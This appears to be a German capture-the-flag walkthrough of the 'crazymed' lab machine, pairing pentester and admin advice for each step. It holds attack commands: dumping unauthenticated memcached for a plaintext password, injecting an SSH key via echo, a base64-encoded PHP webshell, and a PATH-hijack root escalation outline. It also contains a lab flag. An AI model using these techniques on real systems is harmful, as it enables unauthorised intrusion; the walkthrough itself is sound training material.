Analyse: Der `arp-scan -l` Befehl wird verwendet, um aktive Geräte im lokalen Netzwerksegment zu identifizieren.
Bewertung: Der Scan identifiziert erfolgreich die IP-Adresse `192.168.2.107`. Die zugehörige MAC-Adresse `08:00:27:c4:c8:81` (PCS Systemtechnik GmbH) deutet auf eine VirtualBox-VM hin. Das Ziel für weitere Scans ist bekannt.
Empfehlung (Pentester): Führen Sie einen detaillierten Nmap-Scan auf `192.168.2.107` durch.
Empfehlung (Admin): Standardmaßnahmen wie Netzwerküberwachung und Segmentierung anwenden.
192.168.2.107 08:00:27:c4:c8:81 PCS Systemtechnik GmbH
Analyse: Ein umfassender Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf das Ziel `192.168.2.107` durchgeführt, um offene Ports, Dienste, Versionen, OS und Skript-Ergebnisse zu ermitteln.
Bewertung: Der Scan findet mehrere offene Ports: * **Port 22 (SSH):** `OpenSSH 8.4p1` auf Debian. Standard-Zugangspunkt, benötigt Credentials. * **Port 80 (HTTP):** `Apache httpd 2.4.54` auf Debian. Eine Webseite ("Crazymed Bootstrap Template") ist vorhanden. * **Port 4444 (krb524?):** Unbekannter Dienst. Nmap konnte ihn nicht identifizieren, aber er sendet Daten zurück (`fingerprint-strings`). Dies erfordert manuelle Untersuchung. * **Port 11211 (memcached):** `Memcached 1.6.9`. Ein In-Memory-Caching-System, das oft unauthentifiziert ist und sensible Daten enthalten kann. * **OS-Erkennung:** Linux (Debian). Die offenen Ports 80, 4444 und 11211 sind die primären Angriffsvektoren.
Empfehlung (Pentester): Enumerieren Sie den Webserver (Port 80). Untersuchen Sie den unbekannten Dienst auf Port 4444 manuell (z.B. mit `nc`). Interagieren Sie mit dem Memcached-Dienst auf Port 11211, um zwischengespeicherte Daten abzufragen.
Empfehlung (Admin): Identifizieren Sie den Dienst auf Port 4444 und sichern Sie ihn oder deaktivieren Sie ihn, falls unnötig. Sichern Sie Memcached (Authentifizierung aktivieren, an localhost binden, wenn möglich). Härten Sie Apache und SSH.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-02 14:58 CET Nmap scan report for crazymed (192.168.2.107) Host is up (0.00010s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | ssh-hostkey: | 3072 dbfbb1fe039c173683ac6bc052ada005 (RSA) | 256 563b7ce3234a255abe54d12e9d449a06 (ECDSA) |_ 256 81d42e473334a96f1070c19080aab66a (ED25519) 80/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-title: Crazymed Bootstrap Template - Index |_http-server-header: Apache/2.4.54 (Debian) 4444/tcp open krb524? | fingerprint-strings: | GetRequest: 11211/tcp open memcached Memcached 1.6.9 (uptime 79 seconds) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : [...] MAC Address: 08:00:27:C4:C8:81 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.10 ms crazymed (192.168.2.107)
Analyse: `gobuster` wird zur Verzeichnis- und Dateisuche auf dem Webserver (Port 80) eingesetzt.
Bewertung: Es werden einige Verzeichnisse und eine Datei gefunden: * `/index.html`: Die Hauptseite der Crazymed-Vorlage. * `/assets/`: Standardverzeichnis für Web-Assets. * `/forms/`: Enthält wahrscheinlich Formulare (Kontakt, Termin etc.). * `/manual/`: Apache-Handbuchverzeichnis (oft auf Entwicklungs- oder Testsystemen vorhanden). * `/changelog.txt`: Könnte Versionsinformationen oder Hinweise auf verwendete Software/Änderungen enthalten.
Empfehlung (Pentester): Untersuchen Sie den Inhalt von `/changelog.txt`. Prüfen Sie die Formulare in `/forms/` auf Schwachstellen (z.B. XSS, CSRF - wie von Nikto später angedeutet). Untersuchen Sie das `/manual/`-Verzeichnis.
Empfehlung (Admin): Entfernen Sie unnötige Dateien/Verzeichnisse wie `/manual` und `/changelog.txt` von Produktionsservern. Sichern Sie Webformulare gegen gängige Angriffe.
http://192.168.2.107/index.html (Status: 200) [Size: 51721] http://192.168.2.107/assets (Status: 301) [Size: 315] [--> http://192.168.2.107/assets/] http://192.168.2.107/forms (Status: 301) [Size: 314] [--> http://192.168.2.107/forms/] http://192.168.2.107/manual (Status: 301) [Size: 315] [--> http://192.168.2.107/manual/] http://192.168.2.107/changelog.txt (Status: 200) [Size: 2776]
Analyse: `nikto` wird verwendet, um den Webserver auf bekannte Schwachstellen und Konfigurationsprobleme zu scannen.
Bewertung: Nikto findet: * Fehlende Sicherheitsheader (X-Frame-Options, X-XSS-Protection, X-Content-Type-Options). * Mögliches Informationsleck durch ETags. * Erlaubte HTTP-Methoden: HEAD, GET, POST, OPTIONS. * Bestätigt das Vorhandensein von `/manual/` und Directory Indexing in `/manual/images/`. Die Ergebnisse sind Standard und zeigen keine sofort ausnutzbaren kritischen Schwachstellen.
Empfehlung (Pentester): Nehmen Sie die fehlenden Header zur Kenntnis. Konzentrieren Sie sich auf die anderen offenen Ports (4444, 11211) und die Ergebnisse der Verzeichnissuche.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader. Entfernen Sie das `/manual`-Verzeichnis und deaktivieren Sie Directory Indexing.
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.107 + Target Hostname: 192.168.2.107 + Target Port: 80 + Start Time: 2022-11-02 15:10:08 (GMT1) --------------------------------------------------------------------------- + Server: Apache/2.4.54 (Debian) + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + No CGI Directories found (use '-C all' to force check all possible dirs) + Server may leak inodes via ETags, header found with file /, inode: ca09, size: 5ec267685ac00, mtime: gzip + Allowed HTTP Methods: HEAD, GET, POST, OPTIONS + OSVDB-3092: /manual/: Web server manual found. + OSVDB-3268: /manual/images/: Directory indexing found. + 7915 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2022-11-02 15:10:53 (GMT1) (45 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Die Webseite wird manuell untersucht (impliziert), und eine Liste von Namen (Ärzte/Mitarbeiter) wird extrahiert.
Bewertung: Die Namen `Walter White`, `Sarah Jhonson`, `William Anderson`, `Amanda Jepson` könnten potenzielle Benutzernamen sein (z.B. `wwhite`, `sjhonson`, `wanderson`, `ajepson`).
Empfehlung (Pentester): Verwenden Sie diese Namen, um Benutzernamen zu generieren und für Brute-Force-Angriffe (SSH, Port 4444) oder als mögliche Werte für andere Angriffe zu testen.
Empfehlung (Admin): Vermeiden Sie es, vollständige Namen von Mitarbeitern öffentlich preiszugeben, wenn dies nicht notwendig ist, da sie für Social Engineering oder Brute-Force verwendet werden können.
Liste von Webseite extrahiert: -------------------------------------- Walter White Chief Medical Officer Sarah Jhonson Anesthesiologist William Anderson Cardiology Amanda Jepson
Analyse: `dirsearch` wird als Alternative zu `gobuster` verwendet, um Verzeichnisse zu suchen. Die Ergebnisse sind ähnlich.
Bewertung: Bestätigt die Verzeichnisse `/assets`, `/forms`, `/manual`. Findet zusätzlich `/server-status`, das aber mit 403 Forbidden antwortet.
Empfehlung (Pentester): Keine neuen kritischen Pfade gefunden. Fokus bleibt auf den anderen Ports und den bereits bekannten Webpfaden.
Empfehlung (Admin): Stellen Sie sicher, dass `/server-status` (Apache-Statusmodul) angemessen geschützt ist (z.B. nur von localhost oder bestimmten IPs erlaubt).
_|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) [...] Target: http://192.168.2.107/ [15:11:34] Starting: [15:11:35] 301 - 315B - /assets -> http://192.168.2.107/assets/ [15:11:35] 301 - 314B - /forms -> http://192.168.2.107/forms/ [15:11:35] 301 - 315B - /manual -> http://192.168.2.107/manual/ [15:15:07] 403 - 278B - /server-status
Analyse: Eine manuelle Verbindung zum unbekannten Dienst auf Port 4444 wird mit `nc` hergestellt. Eine Willkommensnachricht wird angezeigt, und es wird nach einem Passwort gefragt. Der Versuch mit `admin` schlägt fehl.
Bewertung: Bestätigt, dass auf Port 4444 ein interaktiver Dienst läuft, der eine Authentifizierung erfordert. Der Name "Crazymed medical research laboratory" passt zum Thema der Webseite.
Empfehlung (Pentester): Versuchen Sie, das Passwort für diesen Dienst zu finden (z.B. durch Brute-Force mit den extrahierten Namen oder durch Informationen aus anderen Quellen wie Memcached).
Empfehlung (Admin): Identifizieren und sichern Sie diesen Dienst. Verwenden Sie starke Authentifizierung.
Welcome to the Crazymed medical research laboratory.
All our tests are performed on human volunteers for a fee.
Password: admin
Access denied.
Analyse: Es wird mit `nc` versucht, mit dem Memcached-Dienst auf Port 11211 zu interagieren. Verschiedene Memcached-Befehle (`version`, `stats`, `stats slabs`, `stats items`, `get domain`) werden gesendet.
Bewertung: Die Befehle sind erfolgreich und liefern Informationen über den Memcached-Server (Version 1.6.9, Laufzeit, Statistiken). Wichtig ist der Befehl `get domain`, der den Wert `crazymed` für den Schlüssel `domain` zurückgibt. Dies bestätigt den Domain-/Maschinennamen, liefert aber noch keine Zugangsdaten.
Empfehlung (Pentester): Memcached ist offen und unauthentifiziert. Versuchen Sie, alle gespeicherten Schlüssel aufzulisten und ihre Werte abzurufen. Tools wie `memcdump` oder Skripte sind hierfür geeignet. Suchen Sie insbesondere nach Schlüsseln, die Passwörter oder Konfigurationsdaten enthalten könnten.
Empfehlung (Admin): Sichern Sie den Memcached-Dienst! Aktivieren Sie SASL-Authentifizierung und/oder binden Sie den Dienst an `127.0.0.1`, wenn er nur lokal benötigt wird. Firewall-Regeln können den Zugriff ebenfalls einschränken.
(UNKNOWN) [192.168.2.107] 11211 (?) open VERSION 1.6.9
(UNKNOWN) [192.168.2.107] 11211 (?) open STAT pid 460 STAT uptime 5551 [...] END
(UNKNOWN) [192.168.2.107] 11211 (?) open STAT 1:chunk_size 96 [...] END
(UNKNOWN) [192.168.2.107] 11211 (?) open STAT items:1:number 4 [...] END
(UNKNOWN) [192.168.2.107] 11211 (?) open VALUE domain 0 8 crazymed END
Analyse: Nmap-Skripte werden verwendet, um spezifische Informationen über Memcached zu sammeln (`memcached-info`) und auf bekannte Schwachstellen zu prüfen (`nmap-vulners`, `vuln`).
Bewertung: * `memcached-info`: Bestätigt die Version und dass keine Authentifizierung erforderlich ist (`Authentication: no`). * `vulners`/`vuln`: Findet einige potenzielle, niedrig bewertete CVEs für die OpenSSH-Version, die wahrscheinlich nicht direkt ausnutzbar sind. Für Apache werden mögliche CSRF-Schwachstellen in den Formularen gemeldet, was für Initial Access weniger relevant ist. Keine kritischen Schwachstellen für Memcached oder Apache gefunden.
Empfehlung (Pentester): Die Skripte bestätigen die Notwendigkeit, Memcached manuell zu dumpen, da keine direkten Schwachstellen gefunden wurden. Die SSH-CVEs sind unwahrscheinlich, können aber im Hinterkopf behalten werden.
Empfehlung (Admin): Patchen Sie SSH und Apache, um bekannte Schwachstellen zu schließen, auch wenn sie niedrig bewertet sind. Sichern Sie die Webformulare gegen CSRF.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-02 22:36 CET Nmap scan report for 192.168.2.107 Host is up (0.00015s latency). PORT STATE SERVICE VERSION 11211/tcp open memcached Memcached 1.6.9 (uptime 6651 seconds) | memcached-info: | Process ID: 460 | Uptime: 6651 seconds | Server time: 2022-11-02T21:36:31 | Architecture: 64 bit | Used CPU (user): 0.729790 | Used CPU (system): 0.608158 | Current connections: 2 | Total connections: 5349 | Maximum connections: 1024 | TCP Port: 11211 | UDP Port: 0 |_ Authentication: no MAC Address: 08:00:27:C4:C8:81 (Oracle VirtualBox virtual NIC)
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-02 22:39 CET Nmap scan report for crazymed (192.168.2.107) Host is up (0.00012s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:8.4p1: | CVE-2021-28041 4.6 https://vulners.com/cve/CVE-2021-28041 | CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617 | CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145 | CVE-2016-20012 4.3 https://vulners.com/cve/CVE-2016-20012 |_ CVE-2021-36368 2.6 https://vulners.com/cve/CVE-2021-36368 [...]
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-02 22:45 CET [...] Nmap scan report for crazymed (192.168.2.107) Host is up (0.00014s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:8.4p1: | CVE-2021-28041 4.6 https://vulners.com/cve/CVE-2021-28041 | CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617 | CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145 | CVE-2016-20012 4.3 https://vulners.com/cve/CVE-2016-20012 |_ CVE-2021-36368 2.6 https://vulners.com/cve/CVE-2021-36368 80/tcp open http Apache httpd 2.4.54 ((Debian)) | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=crazymed | Found the following possible CSRF vulnerabilities: | | Path: http://crazymed:80/ | Form id: name | Form action: forms/appointment.php | | Path: http://crazymed:80/ | Form id: name | Form action: forms/contact.php [...] | http-enum: | | /forms/: Potentially interesting directory w/ listing on 'apache/2.4.54 (debian)' |_ /manual/: Potentially interesting folder |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
Analyse: Das Tool `memcdump` wird verwendet, um alle Schlüssel aufzulisten, die im Memcached-Server gespeichert sind. Anschließend wird `memccat` verwendet, um die Werte der gefundenen Schlüssel abzurufen.
Bewertung: `memcdump` findet die Schlüssel `domain`, `server`, `log` und `conf_location`. `memccat` ruft deren Werte ab: * `domain`: `crazymed` * `server`: `127.0.0.1` * `log`: `password: cr4zyM3d` * `conf_location`: `/etc/memcached.conf` Dies ist ein **kritischer Fund**! Der Wert des Schlüssels `log` enthält das Klartextpasswort `cr4zyM3d`.
Empfehlung (Pentester): Versuchen Sie sofort, dieses Passwort (`cr4zyM3d`) für den Dienst auf Port 4444 zu verwenden. Versuchen Sie es auch für den SSH-Benutzer `brad` (falls dieser Name aus anderen Quellen bekannt wäre oder als nächstes entdeckt wird).
Empfehlung (Admin): Speichern Sie niemals Klartextpasswörter oder andere sensible Daten in Memcached, insbesondere wenn der Dienst unauthentifiziert ist! Sichern Sie Memcached wie zuvor empfohlen.
domain server log conf_location
crazymed
127.0.0.1
password: cr4zyM3d
/etc/memecacched.conf
Analyse: Erneute Verbindung zu Port 4444 mit `nc`. Diesmal wird das aus Memcached extrahierte Passwort (`cr4zyM3d`) verwendet.
Bewertung: Der Login ist erfolgreich (`Access granted.`). Wir erhalten Zugang zu einer eingeschränkten Shell (`System command: `). Mit `?` werden die erlaubten Befehle angezeigt (`id`, `who`, `echo`, `clear`). Die Ausführung von `id` zeigt, dass wir als Benutzer `brad` (UID 1000) agieren. `whoami` bestätigt dies.
Empfehlung (Pentester): Die Shell ist sehr eingeschränkt. Prüfen Sie, ob `echo` verwendet werden kann, um Dateien zu schreiben, insbesondere um einen SSH-Schlüssel in `/home/brad/.ssh/authorized_keys` zu platzieren und so einen vollwertigen SSH-Zugang zu erhalten.
Empfehlung (Admin): Wenn eine eingeschränkte Shell bereitgestellt wird, stellen Sie sicher, dass sie wirklich sicher ist und keine Umgehungs- oder Eskalationsmöglichkeiten bietet (z.B. durch `echo`-Befehle oder ähnliches).
Welcome to the Crazymed medical research laboratory. All our tests are performed on human volunteers for a fee. Password: cr4zyM3d Access granted. Type "?" for help. System command: ? Authorized commands: id who echo clear System command: id uid=1000(brad) gid=1000(brad) groups=1000(brad),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(bluetooth) System command: System command: whoami brad
Analyse: Der `echo`-Befehl innerhalb der eingeschränkten Shell wird verwendet, um den öffentlichen SSH-Schlüssel des Angreifers in die Datei `/home/brad/.ssh/authorized_keys` zu schreiben.
Bewertung: Der Befehl wird ohne Fehlermeldung ausgeführt, was darauf hindeutet, dass er erfolgreich war. Dies nutzt die Schwäche der eingeschränkten Shell aus, die zwar nur wenige Befehle erlaubt, aber mit `echo` und Umleitungen das Schreiben von Dateien ermöglicht.
Empfehlung (Pentester): Versuchen Sie nun, sich per SSH als `brad` mit dem entsprechenden privaten Schlüssel anzumelden.
Empfehlung (Admin): Beschränken Sie die Funktionalität von eingeschränkten Shells weiter. Verbieten Sie Umleitungen oder stellen Sie sicher, dass der Benutzer keine Schreibrechte auf kritische Orte wie `.ssh`-Verzeichnisse hat.
System command: echo "ssh-rsa sshpubkey" > /home/brad/.ssh/authorized_keys
System command:
Analyse: Versuch, sich per SSH als `brad` mit dem zuvor platzierten Schlüssel anzumelden.
Bewertung: Der SSH-Login ist erfolgreich! Wir haben nun eine vollwertige interaktive Shell als Benutzer `brad`.
Empfehlung (Pentester): Initial Access abgeschlossen. Beginnen Sie mit der Privilege Escalation Enumeration als `brad`.
Empfehlung (Admin): Überwachen Sie SSH-Logins. Beheben Sie die Schwachstellen, die diesen Zugriff ermöglicht haben (unsicheres Memcached, unsichere eingeschränkte Shell auf Port 4444).
Enter passphrase for key '/root/.ssh/id_rsa': Linux crazymed 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Mon Oct 31 18:36:58 2022 from 192.168.0.29 brad@crazymed:~$
Analyse: Nach dem Login als `brad` wird versucht, eine einfache PHP-Webshell (`ben.php`) in das Web-Root-Verzeichnis (`/var/www/html/`) zu schreiben. Es werden zwei Methoden gezeigt: eine direkte mit `echo` und eine Base64-kodierte.
Bewertung: Es ist unklar, ob `brad` Schreibrechte auf `/var/www/html/` hat. Standardmäßig sollte dies nicht der Fall sein. Wenn dies funktioniert, wäre es eine Fehlkonfiguration. Wenn nicht, ist dieser Schritt erfolglos. Das Platzieren einer Webshell ist normalerweise eher ein Schritt zur Persistenz oder zum Erleichtern weiterer Aktionen, weniger zur direkten PE.
Empfehlung (Pentester): Überprüfen Sie zuerst die Berechtigungen von `/var/www/html/`. Wenn schreibbar, kann die Webshell platziert werden. Fokussieren Sie sich aber primär auf Standard-PE-Vektoren: `sudo -l`, SUID-Binaries, Cron-Jobs etc.
Empfehlung (Admin): Stellen Sie sicher, dass reguläre Benutzer keine Schreibrechte auf das Web-Root-Verzeichnis haben.
echo '' > /var/www/html/ben.php echo 'PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg' | base64 -d > /var/www/html/ben.php
Analyse: Die User-Flag wird aus `user.txt` im Home-Verzeichnis von `brad` gelesen.
Bewertung: User-Flag erfolgreich gelesen: `f70a9801673220fb56f42cf9d5ddc28b`.
Empfehlung (Pentester): Dokumentieren Sie die Flag. Fahren Sie mit der PE-Enumeration fort.
Empfehlung (Admin): Standard-CTF-Element.
f70a9801673220fb56f42cf9d5ddc28b
Analyse: Suche nach SUID-Dateien als Benutzer `brad`.
Bewertung: Es werden nur Standard-SUID-Binaries gefunden. Kein offensichtlicher oder ungewöhnlicher PE-Vektor hier.
Empfehlung (Pentester): Setzen Sie die Enumeration fort (Cron-Jobs, Dienste, Konfigurationsdateien).
Empfehlung (Admin): Regelmäßige Überprüfung der SUID-Binaries.
138432 472 -rwsr-xr-x 1 root root 481608 Jul 2 00:37 /usr/lib/openssh/ssh-keysign 134292 52 -rwsr-xr-- 1 root messagebus 51336 Oct 5 13:04 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 397340 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount 396973 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su 397342 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount 393317 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh 393319 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd 396814 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp 393316 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn 393320 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
Analyse: Die Linux-Distribution und -Version wird mit `lsb_release -a` überprüft.
Bewertung: Bestätigt Debian GNU/Linux 11 (bullseye). Nützlich für die Suche nach spezifischen Exploits, falls erforderlich.
Empfehlung (Pentester): Information zur Kenntnis nehmen.
Empfehlung (Admin): System aktuell halten.
Distributor ID: Debian Description: Debian GNU/Linux 11 (bullseye) Release: 11 Codename: bullseye
Analyse: Das Tool `pspy64` (muss vorher auf das Ziel hochgeladen worden sein) wird ausgeführt, um laufende Prozesse und insbesondere Cron-Jobs zu überwachen.
Bewertung: `pspy` entdeckt einen Cron-Job, der periodisch (`22:53:01`, vermutlich jede Minute) als **root** das Skript `/opt/check_VM` ausführt. Es zeigt auch den `ncat`-Prozess für die eingeschränkte Shell auf Port 4444 und den `memcached`-Prozess. Der Cron-Job ist ein **sehr wichtiger Fund** für Privilege Escalation.
Empfehlung (Pentester): Analysieren Sie sofort den Inhalt und die Berechtigungen des Skripts `/opt/check_VM`. Prüfen Sie, ob Sie das Skript selbst ändern oder die Dateien/Pfade beeinflussen können, mit denen es interagiert.
Empfehlung (Admin): Überprüfen Sie alle Cron-Jobs, die als root laufen. Stellen Sie sicher, dass die ausgeführten Skripte sicher sind und nicht von nicht-privilegierten Benutzern manipuliert werden können. Verwenden Sie absolute Pfade in Skripten.
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855 [...] Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive) Draining file system events due to startup... done [...] 2022/11/03 22:48:49 CMD: UID=1000 PID=438 | ncat -vlnkp 4444 -c /home/brad/.local/cmd 2022/11/03 22:48:49 CMD: UID=107 PID=437 | /usr/bin/memcached -m 64 -p 11211 -u memcache -l 0.0.0.0 -P /var/run/memcached/memcached.pid 2022/11/03 22:48:49 CMD: UID=1000 PID=433 | /bin/sh -c ncat -vlnkp 4444 -c ~/.local/cmd [...] 2022/11/03 22:53:01 CMD: UID=0 PID=2371 | /usr/sbin/CRON -f 2022/11/03 22:53:01 CMD: UID=0 PID=2372 | /usr/sbin/CRON -f 2022/11/03 22:53:01 CMD: UID=0 PID=2373 | /bin/sh -c /opt/check_VM 2022/11/03 22:53:01 CMD: UID=0 PID=2374 | /bin/bash /opt/check_VM [...]
Analyse: Der Inhalt des Cron-Skripts `/opt/check_VM` wird angezeigt.
Bewertung: Das Skript tut Folgendes als root: 1. Prüft, ob die Flag-Dateien `/root/root.txt` und `/home/brad/user.txt` existieren. Wenn nicht, erstellt es sie mit `mcookie` und setzt die Berechtigungen auf 700. 2. Setzt den Eigentümer von `/var/www/html` rekursiv auf `www-data:www-data`. 3. Löscht die `.bash_history` für alle Benutzer mit Bash-Shell (via Symlink auf `/dev/null`). Enthält einen Tippfehler (`eccho` statt `echo`). 4. Löscht alle Dateien, die auf `.log` enden, im Verzeichnis `/var/log`. Die interessanteste Zeile für PE ist `chown -R www-data:www-data /var/www/html`. Wenn der `chown`-Befehl ohne absoluten Pfad aufgerufen wird und wir den `PATH` beeinflussen können oder `/usr/local/bin` (wo Benutzer oft Schreibrechte haben) früh im PATH von root liegt, könnten wir eine eigene `chown`-Datei in einem solchen Verzeichnis erstellen, die dann anstelle des echten `chown` ausgeführt wird.
Empfehlung (Pentester): Überprüfen Sie den `PATH` von root (schwierig ohne root-Rechte, aber `/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin` ist Standard). Erstellen Sie ein bösartiges Skript namens `chown` in einem Verzeichnis, das im `PATH` von root vor `/bin` liegt und auf das `brad` Schreibrechte hat (z.B. `/usr/local/bin`, falls schreibbar, oder `/tmp`, falls es im PATH ist). Dieses Skript sollte z.B. `/bin/bash` SUID root machen. Warten Sie, bis der Cron-Job läuft und Ihr Skript ausführt.
Empfehlung (Admin): Verwenden Sie immer absolute Pfade für Befehle in Skripten, die als root laufen (z.B. `/bin/chown` statt `chown`). Stellen Sie sicher, dass Verzeichnisse im `PATH` von root nicht für normale Benutzer schreibbar sind.
#! /bin/bash #users flags flags=(/root/root.txt /home/brad/user.txt) for x in "${flags[@]}" do if [[ ! -f $x ]] ; then echo "$x doesn't exist" mcookie > $x chmod 700 $x fi done chown -R www-data:www-data /var/www/html #bash_history => /dev/null home=$(cat /etc/passwd |grep bash |awk -F: '{print $6}') for x in $home do ln -sf /dev/null $x/.bash_history ; eccho "All's fine !" done find /var/log -name ".log" -exec rm -f {} +
Analyse: Diese Befehle scheinen Versuche zu sein, die Auswirkungen des Cron-Jobs zu beobachten oder andere Prozesse zu finden, sind aber für die eigentliche Privilege Escalation weniger relevant als die Analyse des Cron-Skripts selbst.
Bewertung: Die Beobachtung der `user.txt` zeigt keine Änderung durch den Cron-Job. Die Prozessdifferenzierung mit `ps` und `diff` ist eine Methode zur Prozessüberwachung, liefert hier aber keine neuen Erkenntnisse bezüglich des Cron-Jobs.
Empfehlung (Pentester): Konzentrieren Sie sich auf die Ausnutzung des `chown`-Befehls im Cron-Skript mittels PATH Hijacking.
Empfehlung (Admin): Administrative Aktionen des Pentesters.
f70a9801673220fb56f42cf9d5ddc28b f70a9801673220fb56f42cf9d5ddc28b [...]
[...] < root 3761 0.0 0.0 0 0 ? I 23:03 0:00 \_ [kworker/u2:3-events_unbound] > root 3761 0.0 0.0 0 0 ? I 23:03 0:00 \_ [kworker/u2:3-flush-8:0] [...]
Analyse: Weitere Enumerationsversuche: `ss -lnpt` zeigt lauschende Ports, `find` sucht erneut nach SUID-Dateien, und ein weiterer `find`-Befehl sucht nach kürzlich geänderten Dateien, die "pass" im Namen enthalten.
Bewertung: `ss` bestätigt den `ncat`-Listener auf 4444 und die anderen bekannten Ports. Die SUID-Suche liefert wieder nur Standard-Binaries. Die `find`-Suche nach "pass" listet viele Dateien auf, die meisten sind Standard-Systemdateien oder Dokumentation. `/etc/pam.d/common-password` und `/etc/passwd` sind relevant, aber ohne Schreibrechte nicht direkt nützlich. Die Zertifikate sind ebenfalls nicht direkt hilfreich. Es gibt keine offensichtlichen Funde, die auf einen einfachen PE-Vektor hindeuten.
Empfehlung (Pentester): Der vielversprechendste Weg bleibt die Ausnutzung des Cron-Jobs `/opt/check_VM` über PATH Hijacking des `chown`-Befehls.
Empfehlung (Admin): Administrative Aktionen des Pentesters.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 10 0.0.0.0:4444 0.0.0.0: users:(("ncat",pid=438,fd=4)) LISTEN 0 1024 0.0.0.0:11211 0.0.0.0: LISTEN 0 128 0.0.0.0:22 0.0.0.0: LISTEN 0 10 []:4444 []: users:(("ncat",pid=438,fd=3)) LISTEN 0 511 :80 : LISTEN 0 128 []:22 []:
-rwsr-xr-x 1 root root 481608 Jul 2 00:37 /usr/lib/openssh/ssh-keysign -rwsr-xr-- 1 root messagebus 51336 Oct 5 13:04 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
[... lange Liste von Dateien ...]
Analyse: Ein Versuch, `/dev/fb0` (Framebuffer-Gerät) zu überwachen, wird gezeigt. Es ist unklar, was damit erreicht werden soll.
Bewertung: Dieser Schritt scheint irrelevant für die Privilege Escalation zu sein.
Analyse: Es wird ein Zertifikat (`Buypass_Class_2_Root_CA.crt`) angezeigt. Der Kontext ist unklar, möglicherweise wurde es bei der `find`-Suche nach "pass" gefunden.
Bewertung: Standard-Root-Zertifikate sind normalerweise nicht für PE nützlich.
-----BEGIN CERTIFICATE----- [...] -----END CERTIFICATE-----
-----BEGIN CERTIFICATE----- [...] -----END CERTIFICATE-----
Kurzbeschreibung: Ein Cron-Job (`/opt/check_VM`) läuft periodisch als root und führt unter anderem den Befehl `chown` ohne absoluten Pfad aus. Der Benutzer `brad` kann ein eigenes Skript namens `chown` in einem Verzeichnis erstellen, das im `PATH` von root vor `/bin` liegt (hier wird `/usr/local/bin` angenommen oder ein anderes schreibbares Verzeichnis im PATH). Dieses bösartige Skript setzt das SUID-Bit auf `/bin/bash`. Wenn der Cron-Job das nächste Mal läuft, führt er das bösartige Skript aus. Anschließend kann `bash -p` verwendet werden, um eine Root-Shell zu erhalten.
Voraussetzungen:
Schritt-für-Schritt-Anleitung:
